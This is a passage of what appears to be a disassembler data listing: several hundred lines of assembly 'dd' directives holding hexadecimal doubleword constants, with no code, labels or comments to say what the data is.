		dd 0ED222E95h, 0B91205h, 0CBC34342h, 6E7F9CA1h,	0F29F2300h
		dd 3A0241D2h, 0BD6B01E6h, 0DF902780h, 0A0F8CF52h, 2E00A3A2h
		dd 0C41B7BBFh, 3CEA54D7h, 168055BAh, 6E647792h,	0AA0F6F5Dh
		dd 80DD185Ah, 0C07A9405h, 8576070Dh, 10E7F7B0h,	0B11203BAh
		dd 68A46606h, 0EA18A818h, 56BB005Ah, 709F4B5h, 4F00232Fh
		dd 2EDD964Ah, 0C6A32ECh, 0AF8756BEh, 3800BD30h,	278FAE91h
		dd 0C482228h, 3E034D3h,	1F008BC0h, 0BE31C6A1h, 383E3FF2h
		dd 5CBE4380h, 7434B42Ah, 0A9B0D9h, 0EC5D7F3h, 7B8B49CDh
		dd 18337900h, 61DAF435h, 0E7D5305Dh, 631947A9h,	4AE0BE00h
		dd 93B65CCh, 0FFDB04Ch,	486A8E3Fh, 0D19C1460h, 59704EF1h
		dd 6C004A90h, 1252D04Bh, 2C4A49C3h, 2FD4F0h, 0DB0C6E1Ah
		dd 2B07BE96h, 0AD3D6415h
		dd 0A8738990h, 4B6B156Dh, 0F222A0C5h, 0D526AF00h, 3C15DF99h
		dd 9E390001h, 7562677Bh, 2F016991h, 5A1E6FB9h, 0A080635Ch
		dd 0B2652CFCh, 0DE02EF51h, 34EDC8ADh, 993AE095h, 17FA0792h
		dd 0C14D134Eh, 60DCB9B0h, 700300Fh, 3426D41Fh, 0B2FEBh
		dd 0C6A5E76h, 7D7C0AB7h, 20EDCE00h, 0CDC5AE19h,	0BC8A3E63h
		dd 0EAA5F100h, 962AF3F6h, 2EC82150h, 48921200h,	878DA95Fh
		dd 0C6F0003h, 0B758D132h, 10C0047Eh, 5AAE952Bh,	3F601E45h
		dd 3048DCADh, 79B57F40h, 6C8A8D00h, 3121E1DCh, 61F80173h
		dd 2DD2D5BAh, 9974C020h, 0B8CE4Ch, 0F0B438A6h, 0E68810h
		dd 3C6BDD56h, 1362A97h,	450A0E00h, 0B0DBFB48h, 23072887h
		dd 0C8A90089h, 2A513F92h, 0BC00F80Eh, 1C2FC998h, 5CB5FF26h
		dd 13004452h, 0DC9C8018h, 5600DE2Bh, 4B610EDFh,	0C4C260h
		dd 0F3D4436Bh, 778A6481h, 0B4073B77h, 8371C60Fh, 0CC7D1210h
		dd 1C300046h, 698E1E23h, 5D14EFE0h, 49FE19D1h, 37D5810h
		dd 8ADCBCDBh, 0C66EC8B1h, 7C8098E3h, 864F0034h,	0E1C8BF90h
		dd 0A0E1B8Fh, 20A2F0D7h, 3165A1ADh, 19160058h, 85E9D6D3h
		dd 1005CD1h, 9E4B6D2Dh,	0BA820Fh, 1FD7837Fh, 0EE3C5853h
		dd 0C3267116h, 9D3E6707h, 8E928800h, 572001C0h,	0E76B2F01h
		dd 9F19E4D7h, 27520800h, 0C60C993h, 0CDCC134Dh,	57890EDDh
		dd 76DE8880h, 0BB00CFBAh, 63AB33C2h, 79720C4Bh,	0A19907CEh
		dd 0A0D92649h, 9E3A0119h, 0ABF73907h, 6995A57Ah, 95CCF000h
		dd 4B5ED1h, 84577012h, 0E02A0B30h, 0D40EE1EEh, 2FF9E4FDh
		dd 9B6C20A6h, 88DCDDh, 0CC9143F8h, 89B979ACh, 83EA4600h
		dd 8B024A1Ah, 0B1D50014h, 0A4487BEBh, 0F5003193h, 0DF804281h
		dd 0E7901Fh, 56756C3Ch,	0AF980B7Eh, 307B9B00h, 0E6F7A0A7h
		dd 9EEC09E4h, 8781B760h, 0F0D43D96h, 3C053A66h,	788F3221h
		dd 32C00AC4h, 128D5h, 0B7A0A6C0h, 7661245Fh, 0B6563307h
		dd 99B016ABh, 386C1B72h, 0B48057D4h, 0BD190382h, 7505A59Fh
		dd 3BDBFD21h, 5E44900Bh, 3E1A004Bh, 5D486682h, 80091E39h
		dd 0A29AFB0Bh, 3D5B4Ah,	0E087068Ch, 9364B010h, 0CA5DFE01h
		dd 2BFCADAAh, 2DECA0D6h, 19F88489h, 601519BBh, 3C60D8E6h
		dd 0C1F03C90h, 9D37A21Dh, 681ECA1Dh, 8CBB350Bh,	0BD21BCh
		dd 458617FDh, 258C8FBAh, 5FE895E8h, 4446512h, 6E0CF853h
		dd 4FC1D9h, 5D1625C5h, 960B247Dh, 1A9A7300h, 0EFCE588h
		dd 0CD97002Bh, 0F092253Bh, 4F002016h, 93012178h, 1C2C395h
		dd 0DA7D8237h, 8142F9CBh, 830E3B89h, 8EF2C3A9h,	1E0D6110h
		dd 0D495848Bh, 0C610701Bh, 0F2883Eh, 94362957h,	14A01AB9h
		dd 2224FD63h, 84008814h, 6295865Fh, 0FC1A00D9h,	71D00539h
		dd 6C00CA7Dh, 2B633FF5h, 1D961194h, 1C92A917h, 0B0444080h
		dd 0E6DC0661h, 3B69CC18h, 0B41A79h, 8AC1995Ah, 9ABB0537h
		dd 215608CCh, 5A8C0014h, 0FB9822ABh, 0FC00F8D9h, 4944D25Bh
		dd 0F45E0452h, 0EE370371h, 0C680CE95h, 3FE529E0h, 923A6409h
		dd 0EF181360h, 5D15E07Fh, 333E258Dh, 0F308D665h, 0EA9B2100h
		dd 55E309C6h, 218003BBh, 51C2DD35h, 68002493h, 0A2DE98B6h
		dd 68DA0677h, 5C6838EAh, 0E30C4E46h, 0F650DE28h, 0D23AA540h
		dd 6A170E21h, 7EE52F01h, 96C991E4h, 0D9428E8Eh,	0FF31AD5Dh
		dd 0C6868F10h, 51C5D52Ch, 19C2620Ch, 2D5C3838h,	6FFF500h
		dd 2ED37A51h, 8C981A39h, 88A4DAD7h, 60DEFA3Bh, 8B04F005h
		dd 383F3EEh, 7AD73DE8h,	0C5C076D6h, 6B006126h, 3F78957Eh
		dd 3F6A0AB9h, 7B19F5h, 0DD908F4h, 8E837C05h, 0E5599200h
		dd 0FC2F9137h, 90A53E63h, 13765800h, 72C2F7FBh,	800D403Bh
		dd 0D942ECE2h, 98C8B31Fh, 1F67E673h, 0CF055289h, 0CA802D4Fh
		dd 8488FB4Dh, 6208F00h,	0D56E4673h, 0BDFE0015h,	8A66F332h
		dd 3B7F2252h, 8F879E00h, 0AC15275Dh, 0BF953C33h, 6A48D880h
		dd 2524399Ah, 11175900h, 0F6FCA086h, 3F8E021h, 0EE046A3Dh
		dd 23D00B8Dh, 240092E6h, 8F1142E7h, 2E557A64h, 19F9F3h
		dd 5BBDA72Ch, 4009EE74h, 8061EF19h, 0C39E7E79h,	4AFB2E64h
		dd 0D2500F1Ah, 0E589A120h, 1206673Ch, 869D7A65h, 0B440150h
		dd 0B0B35803h, 6E9EC455h, 0DDEE6B01h, 45C20814h, 0D1E7980h
		dd 19558170h, 92E10516h, 41661B00h, 7804350Ch, 58E8F9D4h
		dd 0D25714FAh, 4604B936h, 0FAE6334Bh, 0E574CE80h, 8D03007Ch
		dd 0B24E8B22h, 70098DCh, 4675F928h, 108C418h, 41E17E06h
		dd 80918DDDh, 5BB8F981h, 70E0796h, 28F46275h, 0A657B19Eh
		dd 3B42F87Bh, 0D0E89C30h, 438F88Fh, 0F91CFD3Ah,	16B080ABh
		dd 0A24C0724h, 8CEA3822h, 19CA83E1h, 219A0805h,	7B00EB1Dh
		dd 5673A04Ah, 0E5690081h, 0DA63B158h, 98A8DD9Eh, 977098FAh
		dd 0FE9F8500h, 295B1A20h, 311600CFh, 0B2EDB95h,	0E4004533h
		dd 965E9706h, 0A56202h,	29FA3A9Fh, 0B0043DF1h, 4900D17Ch
		dd 50E77EB8h, 0CC1776B3h, 0B721CF08h, 7F490900h, 0EDC7E6D0h
		dd 8FF00202h, 34A67E0Ah, 5CC78C0h, 4E50B060h, 4C19AD3h
		dd 7215A2DFh, 98A681CFh, 36A5203Fh, 1D300860h, 6F1B1C7h
		dd 199F0453h, 5DF0683Ah, 8903F0F4h, 0F595D873h,	6308BED4h
		dd 0F9FA2138h, 9878C0CCh, 7D1E5E84h, 32188C0Dh,	40BF4690h
		dd 2EEA3605h, 9978A56Ch, 18A67404h, 11AF7C06h, 79008090h
		dd 77B10AFDh, 0CCB93130h, 7321E208h, 9F798600h,	4ABD284Dh
		dd 0C66D00DAh, 5015E003h, 8718B1E1h, 246109D4h,	1347FB6h
		dd 38D5A59Bh, 0D18B7582h, 0CA21802Fh, 8309349Fh, 6AB43A03h
		dd 0A66F5102h, 289DE7E3h, 4800711h, 0D21B35ADh,	0A8002972h
		dd 0C20E81B1h, 0A0A69E44h, 1E569DF4h, 904D31h, 4617B7Ch
		dd 850043E5h, 0FEE94B08h, 7293172h, 0F01B5A42h,	0C4FA00DAh
		dd 0A501957Ch, 0D186F5EAh, 90E41892h, 232600DBh, 0C421D9F0h
		dd 5E003738h, 0D0BAFD4Ah, 0C2A735h, 12844855h, 0BDB0316Ch
		dd 80F67C3Fh, 5120CCD3h, 0E713988h, 6694CAE3h, 8A907D7h
		dd 24F230B2h, 6B01463Ch, 0E19C751Ch, 2B70AD33h,	0DF441769h
		dd 0A3500054h, 0ACA1F57Dh, 0EA01787Bh, 472F486Eh, 5CBEB5C2h
		dd 7D601Eh, 678E7996h, 73000257h, 32B068FFh, 29561910h
		dd 0DD041F6Bh, 553618FEh, 0D6B5111Bh, 0BBCBD401h, 61B2416Dh
		dd 655E5E4h, 85DCC8E0h,	620819B4h, 9154D3F8h, 2D530C81h
		dd 60074848h, 0DCDA613Eh, 20D0B355h, 2339013Ch,	34121DB4h
		dd 0D518C4h, 0E2EF812Fh, 68D1641Fh, 0F900337Dh,	0B6ECCC89h
		dd 78691B09h, 27151EDDh, 1C8600A2h, 376F6D2Eh, 0D9D35600h
		dd 856B5B53h, 27F7518h,	1A964CB9h, 40A0C8C4h, 3E716286h
		dd 78E05306h, 39902F16h, 0D900F6F3h, 0EFF2932Bh, 0A9F6D341h
		dd 1887C0C3h, 0B87C42h,	0BEB28045h, 5FE1A74Ch, 0D9ECCD1Dh
		dd 8105052Eh, 3400C1CCh, 0DCD8BCACh, 0C11072BDh, 485659F9h
		dd 875BE961h, 5E861940h, 7E9A50C0h, 0AD7C019Bh,	0DB340716h
		dd 7B4DFCBFh, 69FEA00h,	0D61C175Ch, 140E3EFFh, 2714603Eh
		dd 2605C0ADh, 5E6D865Ah, 0DA510DACh, 6F0082Eh, 4A356807h
		dd 7ED7CCB0h, 5F40FC0Ah, 607353D5h, 8467C063h, 80C02316h
		dd 0C8E1C9F3h, 62ED15A8h, 1D079895h, 41207435h,	4C010B56h
		dd 65425724h, 0A240A10h, 90DDFB03h, 0F3FD80BDh,	6FDF6740h
		dd 302F00D7h, 991EC7B8h, 1F070851h, 0C66CD3D8h,	9CC91B41h
		dd 610965F0h, 1B19034h
		dd 0D7FC40FDh, 0D0F7ACE0h, 80027DFh, 5442D89Fh,	61AFFE24h
		dd 0A989B81Ah, 0C5BC47F0h, 7CB01156h, 4E626FC4h, 1DB1787Ch
		dd 28E06F6Ch, 13C65A40h, 11262B1h, 7444530Dh, 7E0FB62Dh
		dd 5EAD3922h, 9E21B4A0h, 2060306Ch, 0A589E848h,	0B2B0C0AEh
		dd 0F0D194EFh, 0FA7F6D06h, 1F18FB11h, 9A69BEDh,	58023418h
		dd 6840E9F1h, 567C369Fh, 6CC21909h, 80282053h, 7C245FACh
		dd 569924D5h, 89D94474h, 25904240h, 6722F4B6h, 4E492861h
		dd 205561FCh, 22CCC0B4h, 8C2200ECh, 0B187A4Bh, 0D8284971h
		dd 51FC44h, 729CDA56h, 0EB174ADBh, 43A0624h, 0A85C5B50h
		dd 699B434h, 1370706h, 20F7290Ah, 0CE01FECCh, 0A71039DEh
		dd 9C40252Dh, 719542A9h, 821A0752h, 0C0DE90CDh,	9F60F4C9h
		dd 55E6730Ch, 67178h, 1401CD6Dh, 1FFFA971h, 1E23C207h
		dd 81B0CCBBh, 287A1725h, 1888B45Dh, 88C150EBh, 9709662Eh
		dd 981911C9h, 81B91550h, 91B4105Eh, 0B208324Eh,	0EC4484A8h
		dd 4F00BFF8h, 5180A473h, 1919F03h, 0E521F318h, 0E4305FC8h
		dd 541F72F7h, 0B8303B09h, 302FAEBBh, 99711094h,	6F11A643h
		dd 0D603819Bh, 0C2520B82h, 80001C8Bh, 6F771BEBh, 0DB305889h
		dd 88C4838h, 0D53B819Ch, 88758782h, 81377428h, 9E27E6D7h
		dd 88DDF1BBh, 8C6D3568h, 3B800C8Ah, 0C1456B7Ch,	0BB0EE9BEh
		dd 1E609CF6h, 3098DF18h, 30184FAh, 4DCEBFD6h, 0F0C4DE9Eh
		dd 1D590951h, 9C287DD7h, 0F6B70720h, 0DE433086h, 76014D04h
		dd 0D6209C27h, 0B1800CA6h, 7952F69Dh, 7E12EABFh, 4C4515F9h
		dd 0DC1DCEBDh, 82C9803Bh, 0B23B241Dh, 42A0265Ah, 0F3E90198h
		dd 8058C5ECh, 0A604D930h, 0F8E88F16h, 561524C4h, 0CE200AACh
		dd 0D6406FE8h, 0D97E3E08h, 470986F0h, 205CC0A0h, 2307D36Ch
		dd 0A0DE4C74h, 685AB482h, 9FCE7868h, 4D37331Dh,	243A4300h
		dd 0FCB9B26Fh, 100100DBh, 1F095219h, 0B51FDE5Ch, 47011BBFh
		dd 7BBC6C6Fh, 0B0964895h, 32C9CE80h, 0D314BB90h, 20B8E71Ah
		dd 426658AEh, 48EC6E01h, 319768E6h, 0CE50488Ch,	5C04EBF0h
		dd 1CF7AD34h, 1A382501h, 4266D16Fh, 40748AB0h, 5F64DE00h
		dd 6CA64855h, 475C4156h, 0A8F7421Fh, 0D5389440h, 0B080E9BFh
		dd 0F9070D7h, 396B1806h, 291F7F83h, 6EA019C3h, 2774B442h
		dd 62AF5F05h, 8C003D59h, 0B2FE18E9h, 0A094AAC2h, 8ECEE7E8h
		dd 5A9230B1h, 38866E29h, 31109C19h, 5C10BE30h, 15077093h
		dd 998950D8h, 693A45C0h, 0E0D7D67h, 88608086h, 14002D8Bh
		dd 511337A6h, 0C9D6FA00h, 4B24E2F6h, 34EF225h, 397C288Dh
		dd 0D83A2D1Eh, 5B521913h, 806E0BE6h, 23D9EB80h,	60BB2400h
		dd 19E4AC8Dh, 18B22631h, 7E9058E0h, 0D3800658h,	8C5FE012h
		dd 42C2826h, 16CB2824h,	0B9BF209Ch, 7C344848h, 1538418Ah
		dd 96240608h, 483E8C28h, 21E1CC68h, 7DA09081h, 44B4D9Bh
		dd 0E4457120h, 2088CC44h, 1661C170h, 0B86E1BECh, 24847828h
		dd 81C8AEB7h, 0C24F9030h, 6C2024A9h, 5CCD9D12h,	8459AC09h
		dd 70040240h, 576221Ah,	764C2728h, 0C4222834h, 0C9E3311Ch
		dd 0F1518C40h, 251992D9h, 148AFC44h, 80C338C1h,	0E6BF6880h
		dd 0DEEC1C4Dh, 7F52B33Ch, 19052EE0h, 897F58D1h,	0CC8824h
		dd 0E00860C1h, 0FD1AAEB0h, 7493AC9Ah, 80C2C51Ch, 0CE3836A9h
		dd 0A1B41D28h, 998AC0C4h, 653045C2h, 0AC92AE74h, 82D0845Ch
		dd 64D49CDBh, 429D0168h, 0EB6F61C8h, 6BC8606Dh,	0DD7C661Dh
		dd 46343305h, 20AD0CC2h, 0B27D0AF8h, 84EF5009h,	6C24911Ch
		dd 51DCD610h, 770020B2h, 0C7DD09E8h, 91F24769h,	22678900h
		dd 5F666881h, 5731D54Eh, 5084B9BCh, 0E654406Ch,	788501DAh
		dd 0D94CA11Dh, 0EC131C29h, 64A84009h, 0A7B467CEh, 0F607A87Ch
		dd 467A24C3h, 57125CFAh, 416E4841h, 0C9E114ECh,	0DEDC94DDh
		dd 1D83245Eh, 9CED47C0h, 0E3093AD9h, 246DB59h, 44124EF0h
		dd 489E6080h, 0F3646A54h, 1A6CE454h, 4623EB16h,	72496420h
		dd 0D621136Ch, 33A01396h, 0B0000E24h, 0E5C7CD50h, 0F696186Eh
		dd 97E83FAEh, 30C718D7h, 68CF105Ah, 0B007476Bh,	0DB1F4B51h
		dd 7EE29E10h, 9A989255h, 0F44F00E0h, 0AD4621E4h, 89B89009h
		dd 0C85E6C00h, 59E93417h, 6F523C7Ah, 7469BE14h,	0A7DBC600h
		dd 5CF74396h, 0C1408654h, 1742501h, 4252F144h, 94729371h
		dd 0D3F72B82h, 0EBF8900Bh, 0F8410375h, 14943056h, 57CE3100h
		dd 7F529180h, 2C80B03Ah, 800C3BAEh, 97D6E53Ch, 7726067Ah
		dd 0C20030CDh, 241B3051h, 0D780094Eh, 1C2AAA70h, 37770864h
		dd 0A14A598Eh, 0B2DC52E5h, 4080EC52h, 0DF7FDB94h, 9F344510h
		dd 83A0C33Fh, 2830D3F8h, 8012C27Fh, 0E4D0781Fh,	600B922Bh
		dd 1A683816h, 86802D52h, 25950008h, 1CA7B115h, 0D0A11FF3h
		dd 9D084C1Bh, 0FE00B343h, 0A995345Fh, 0B700B20Ch, 6939931Bh
		dd 90793154h, 127A0A8Ch, 2A0D636h, 0B44C6CB6h, 5FAE20A0h
		dd 6B3F9F08h, 1650241h,	58E1A977h, 241F009Ch, 0D8FC1E55h
		dd 30EA22DDh, 93F9FDEEh, 0C020D6D8h, 98AD2E0Eh,	4418D224h
		dd 325E86FCh, 432016C5h, 120B3BFh, 0DFEB9D06h, 0EDA43018h
		dd 50663040h, 0A0E5E837h, 2C2034D8h, 8944CE71h,	204808ABh
		dd 88B8C801h, 0FE7AB8C0h, 127F4E91h, 42200258h,	0B1544710h
		dd 7EDDC80h, 7E18F58Eh,	0AF0152Ah, 4E4D0110h, 56529FECh
		dd 60F42017h, 80F13561h, 49963455h, 0AAB005C6h,	0E59402D4h
		dd 3C706F4Dh, 6E3BA800h, 1DC7F376h, 305F0ACEh, 64081C07h
		dd 62D06726h, 490BEC42h, 54000C34h, 0ADA06B51h,	880AB58Dh
		dd 44C35556h, 59F56670h, 0F2CBD484h, 1FEC803h, 3508EC8h
		dd 4869C800h, 560B835Bh, 1B533EDDh, 24F83864h, 0BC134BC7h
		dd 1C617C6Fh, 140AEC24h, 7B80D022h, 81A9C839h, 387EEB27h
		dd 1E8A22C0h, 0E951C1DFh, 0B00C15CCh, 0A41289B7h, 0EBA304E0h
		dd 1741A4A0h, 60B06055h, 2D178560h, 0B000779Ch,	61D353BFh
		dd 2108A466h, 9384671Bh, 7C951D1Fh, 946BB040h, 0D4111555h
		dd 0E009F4C0h, 0D0017081h, 78076DC2h, 4BBC1DA0h, 9C0DC7C4h
		dd 246FC80h, 283D4BE9h,	3B4077DCh, 459E14EDh, 1E2C8436h
		dd 532831FFh, 203271h, 0BAC034Bh, 7F45BADh, 3C85FE1Dh
		dd 7333F7C8h, 6BF8F7D7h, 0D34C5706h, 0F9270350h, 1FD85AE4h
		dd 18E61B60h, 0A2B66826h, 7F340A01h, 3E5EBA5Ch,	46246039h
		dd 4453E4B0h, 0E4C2EA0Bh, 96547936h, 54F40457h,	14493CDh
		dd 0B2E0D39Ch, 0B8C9ACE2h, 6C102056h, 47363700h, 0AA958D60h
		dd 2E5A00E1h, 0EEA98E63h, 0A43B51FFh, 0CC047C48h, 0B98F6EC1h
		dd 1665C0E0h, 40C9B4F9h, 0C6C2F16Ch, 0D62EEA24h, 6F963899h
		dd 0F354F600h, 152F296h, 161424A5h, 2CD1ECDDh, 94813C50h
		dd 0A1C0DA75h, 2E003AB7h, 592EDCCEh, 0D6004CE0h, 2DE99289h
		dd 24D00EE8h, 3859D908h, 9FA024C4h, 2118CD54h, 0C430B652h
		dd 91D3967h, 0C010AE0Eh, 0C800707Ch, 5F22B415h,	1EA4A3Dh
		dd 0E99EF3F0h, 8321699Bh, 855B7FD8h, 61B191CDh,	883C08F5h
		dd 4F31C117h, 9985B2A0h, 7D0C0421h, 1CC306FFh, 0D9E62689h
		dd 18A70884h, 0D82116h,	958EA130h, 46B0006Dh, 0DB00E9AFh
		dd 40E1A756h, 5A980853h, 0C2A40018h, 0BDFAF711h, 89CCD8A8h
		dd 6C11F960h, 30C5029Ah, 22911347h, 0DFFD625Ah,	79B036C0h
		dd 88010E4Ah, 50345BCEh, 100901h, 0C81CB4h, 0CB59081Bh
		dd 71186A3Ah, 2C5D7926h
		dd 62407704h, 280280EAh, 0D70329F8h, 36908847h,	0EFADE0A9h
		dd 0C5CA3ABAh, 578A97h,	9C806A44h, 83031B13h, 97EFC4CCh
		dd 6E6DF070h, 7DCB2A8h,	77FB117Ch, 6FB9D196h, 2E71937Ah
		dd 2D000EBh, 0A00E1E32h, 1A1B8200h, 3633EB50h, 0BF70266Dh
		dd 8A7C2448h, 0E00392h,	0E0866628h, 0C1BF53C5h,	84B00B1Dh
		dd 445B3810h, 8283BD00h, 522F6AC4h, 0EFBC0EBFh,	53E09D34h
		dd 8F4FC516h, 0F472B400h, 0E9E6B783h, 97B00032h, 33ADFC2Eh
		dd 0B0A81254h, 0CE608A67h, 5B6A1890h, 827AAEh, 0E2B864DBh
		dd 167B215Eh, 0F51FEB16h, 0C152C441h, 300019BEh, 60924B63h
		dd 854D5F8h, 3F03C3C4h,	625E8E1h, 6621001Eh, 474133DDh
		dd 0C6007AADh, 57264F73h, 49559215h, 2E1494F1h,	0A524AD84h
		dd 3C660031h, 6AAD1AECh, 17D03B24h, 1184271Fh, 0B58026DAh
		dd 3A6D3EFh, 92B3F85h, 0B08FCC49h, 9CF13B38h, 20A4C901h
		dd 0D18B39D0h, 88D72990h, 212544CFh, 8311B77Dh,	0E41F130Ah
		dd 22539142h, 98D4A80Eh, 0BA84512Fh, 0FE0F97Ch,	449F3607h
		dd 8960775Ah, 1CD1A486h, 80F98CC2h, 33EF4160h, 2F00F327h
		dd 5A17616Bh, 57A1B6h, 81E471F9h, 3D6EE72Bh, 0ACF0C90Fh
		dd 53F280C7h, 7FDEE850h, 13A403E4h, 0A1DF4C6Ah,	758FA3A8h
		dd 69608017h, 9F8D00BAh, 0B555F6F3h, 0A4944A00h, 0BE6FC3D3h
		dd 27680105h, 93725036h, 0CEC8FC87h, 0C063CD0Fh, 75FB8006h
		dd 70B989F8h, 86CC00A9h, 0EACD4F16h, 5B0054E9h,	0A7D58D67h
		dd 1C0F6659h, 0C2802521h, 46A47A48h, 0DFA2D0A0h, 9C00681Ch
		dd 0DD11A55h, 1E63246Eh, 72FE161h, 9351868Dh, 0DE88353Ch
		dd 131880FEh, 4C4004E8h, 0FCE8C737h, 6B1AD039h,	2A00FB5Ch
		dd 35EDB8FAh, 939B99h, 37ABAF5Eh, 0ADC8C631h, 0EA001DF4h
		dd 76D623D3h, 0F4972C5h, 0F92E6A26h, 0D8A455E0h, 57006374h
		dd 0C9D73C5Dh, 0B0D7E1Ah, 0BAF8931Eh, 87FA0800h, 4B0009D0h
		dd 8C1C4659h, 1A1138h, 0FBBEEAA3h, 9A93B440h, 0E3BCAE09h
		dd 8963001Fh, 3F2EA96Fh, 4C074755h, 0F0CEFF46h,	8453B09h
		dd 360E9778h, 83B77A62h, 0E03DFD77h, 334805h, 1441C18Ch
		dd 1C28B557h, 755E6E3Bh, 0A604B100h, 68718593h,	2D4B097Dh
		dd 7800D1D2h, 0CE2532F2h, 581C2E1Ch, 0A1A65780h, 0EDBBEAh
		dd 72FB9DE1h, 521E1F21h, 18AB4000h, 6EEC87A9h, 0F3CD00F9h
		dd 0E0BBBAEh, 5A0071C3h, 0A10191B0h, 7E7A15h, 58B89985h
		dd 189D807Ch, 0C44AC300h, 0B56817CDh, 118D3DCAh, 819BFA9Dh
		dd 49D53DDEh, 3F9C6040h, 93172370h, 0DA00EAFCh,	64BA3CBEh
		dd 0E110727h, 71FA96B7h, 0C8E11FA1h, 710C58E7h,	1010933Dh
		dd 0BB60030h, 0EC5C7E84h, 7F73ACF5h, 0FDA0E57Ah, 7D00B724h
		dd 0D027CF76h, 7DA73749h, 2EBB0F6h, 0EEB15956h,	8EC0BE2Dh
		dd 0E4E18603h, 870257F5h, 0D1FF4046h, 0EFC807Ch, 0B83E9Dh
		dd 5229484Ah, 0AD935B4Fh, 20670800h, 8C222162h,	12BF78CEh
		dd 7A580Fh, 439DAE54h, 780090D5h, 0EC2D5B76h, 0F4141Eh
		dd 0E6C702A1h, 54E6864h, 77793300h, 7248F0D6h, 0DC460094h
		dd 0B302C6B2h, 6D70A068h, 3B555A04h, 948087DDh,	7CB1CFh
		dd 4FC2CB2Fh, 8F174CB9h, 4E912400h, 0B5896A19h,	78B80012h
		dd 4F1EEAC9h, 0A800278Bh, 9B130F4Ah, 524088h, 86990E58h
		dd 0F095D592h, 2FACFC00h, 0A9374AC0h, 0D4D900E8h, 1D01429h
		dd 0DCEC33D1h, 73C91600h, 885B277Ch, 2BEC3812h,	8B57ACh
		dd 8489260Ah, 0B2000139h, 0EB944FD1h, 0ABCB6A8h, 5E8EC8A1h
		dd 0F3CA00ECh, 8ADF4D0Eh, 8DBE89C3h, 9470988Ch,	85EE001Eh
		dd 27A65DF3h, 590046F9h, 0C637D53Ah, 7CD690Eh, 0B49BCC30h
		dd 2063407Ah, 9A07CBDFh, 0AA38668Bh, 5FF8C420h,	19520EC8h
		dd 787681Ah, 82FD2355h,	8ABC59A8h, 0EBB1B00h, 28368423h
		dd 65CE095h, 318453Eh, 0D90320BAh, 0CB3840C4h, 791000BEh
		dd 0E1565094h, 9B26D4D5h, 0B3006C23h, 0F5978837h, 54664CC1h
		dd 9F410830h, 2F4C369Bh, 0F4EC3D15h, 50B61802h,	410CB36Bh
		dd 4FF07528h, 75AB772Fh, 864B0040h, 0D8100DC6h,	0F201EFCBh
		dd 0DAF8459Fh, 0AA20598Ch, 316300D4h, 1C96A1CFh, 9C00DFA8h
		dd 484FDEE7h, 19438B5h,	601F774Bh, 0DC35E181h, 400031CAh
		dd 0E0E9CD3Fh, 32A759h,	2501039Fh, 2EB835ADh, 0D8FF2600h
		dd 4F085722h, 93920E36h, 342494B0h, 0B43881A3h,	0B6EDC09Ah
		dd 0D0D11500h, 2163C77Ah, 174A002Dh, 5FD30B3Eh,	7C39878Bh
		dd 2F2E8044h, 102524FDh, 75C4B863h, 167EE5Eh, 1CD57EB6h
		dd 0EC2AFDE9h, 1601A220h, 0F8AE38ECh, 3FE40FF2h, 9E6F0346h
		dd 8EEA6787h, 369415D8h, 0D4C82E00h, 9BFCC277h,	41E4007Bh
		dd 3CF1A2A0h, 3BECFD99h, 0A1445E07h, 0A4504F07h, 186BB833h
		dd 82D34779h, 6F02CDECh, 85FC94DDh, 0E9E26020h,	8C5F007Ah
		dd 0C5AA693Ah, 0CA788A86h, 114475Dh, 21460D06h,	70344B51h
		dd 0AEC70F04h, 0E2C0CACFh, 2E439212h, 2A6B7303h, 0A8809DC0h
		dd 0F0CF2F7h, 0CB3136EEh, 0D5B761E0h, 34266472h, 9A809C29h
		dd 3DAC74A8h, 3768092Ch, 900058D1h, 7276325Fh, 7B35CA1Ch
		dd 0DF12B780h, 269066h,	2BE677D8h, 0FB91DEA7h, 2E150300h
		dd 0DA74407Fh, 0DF1F5837h, 42FE7A05h, 96F482F0h, 6980A4E3h
		dd 4A00FDB8h, 98D3A04Fh, 502CE39h, 99CD796Ch, 3BC40034h
		dd 734888E9h, 7CEEAF03h, 0F0F128F0h, 7B4F41Ch, 665C2FE5h
		dd 80BEB433h, 2DD9030Ch, 9463EE26h, 0A44FA200h,	17107Ah
		dd 564CF4D8h, 0CE4A9B4Bh, 1BBC465Eh, 0C1DDD900h, 5AE68A07h
		dd 8B605D00h, 209D99B3h, 90BF004Fh, 16C888DCh, 3DE81FF7h
		dd 0C1915218h, 4530411h, 6D6CE81Ch, 0DC09C097h,	0DFF2F560h
		dd 0D431AC00h, 11D10ECBh, 4D5C0132h, 49C7130h, 0C4D03196h
		dd 1B01E4D5h, 0EA793A25h, 0C7C4BA6Eh, 14FD002Eh, 5238B106h
		dd 7A00AFACh, 4A346D5Dh, 2E1FF80Dh, 30D49951h, 9B4371D9h
		dd 1011FE00h, 1F3DD769h, 1C7600B8h, 0E36ACB70h,	0A4FE792Bh
		dd 0DF9E1A00h, 0A0868C4Eh, 78CD00E7h, 7FDAE0B4h, 0A700DC87h
		dd 7D16C5FAh, 383462F8h, 3C0035D6h, 804F3288h, 510422CDh
		dd 6A2C42F3h, 747638C0h, 17FC7EDDh, 4AD28C6h, 2030157Ch
		dd 1CE063Bh, 0ABB79860h, 70AF04AEh, 0D203A7CCh,	0A87D082Eh
		dd 5F679A40h, 0E4853FE0h, 0D5501F00h, 75B5CA84h, 6A211211h
		dd 0EB9881CBh, 625024ABh, 4A5820F6h, 0B0072DCh,	0E22E8D55h
		dd 418D3C0h, 0E699EA8Bh, 0F30CC0DBh, 5B0EDD73h,	0FE02C23Bh
		dd 0CC61A200h, 67AA62h,	25A550C7h, 2718EDD5h, 0AB716407h
		dd 9B90E2BAh, 1E8E4852h, 455B2F86h, 0C1D994C7h,	1104F5F4h
		dd 0DE0051BAh, 110F81D1h, 9DE24Ah, 7B7607Eh, 2185051Ah
		dd 9E3A29h, 0DD5787EDh,	9C0015BFh, 12B0B6EBh, 27AA561h
		dd 0AA1B08EDh, 0F6632D41h, 221A4690h, 0FF00B372h, 59D1E6C0h
		dd 0E9B017h, 9A792D9Bh,	0C6ACF66Bh, 0C216EF0Ah,	52079A69h
		dd 7EC32AD6h, 2268B807h, 255900D2h, 5BA63646h, 8D704BA4h
		dd 0AD988800h, 29B585Fh, 82781F22h, 0D9FF410Fh,	346B8ADAh
		dd 0E098BFB8h, 0C7F89900h, 323C671Fh, 2177B60h,	0BADD697Eh
		dd 15E3E1A4h, 1DAED9D8h, 0F800DB7Fh, 2B425F5Bh,	849F9Bh
		dd 0C229DDE9h, 0DB25A6E2h, 0BFACF00Ah, 0F026A0B1h, 40595C0Eh
		dd 0F308CC28h, 0D8074C46h, 4000063Bh, 69E2F85Bh, 1896B9EFh
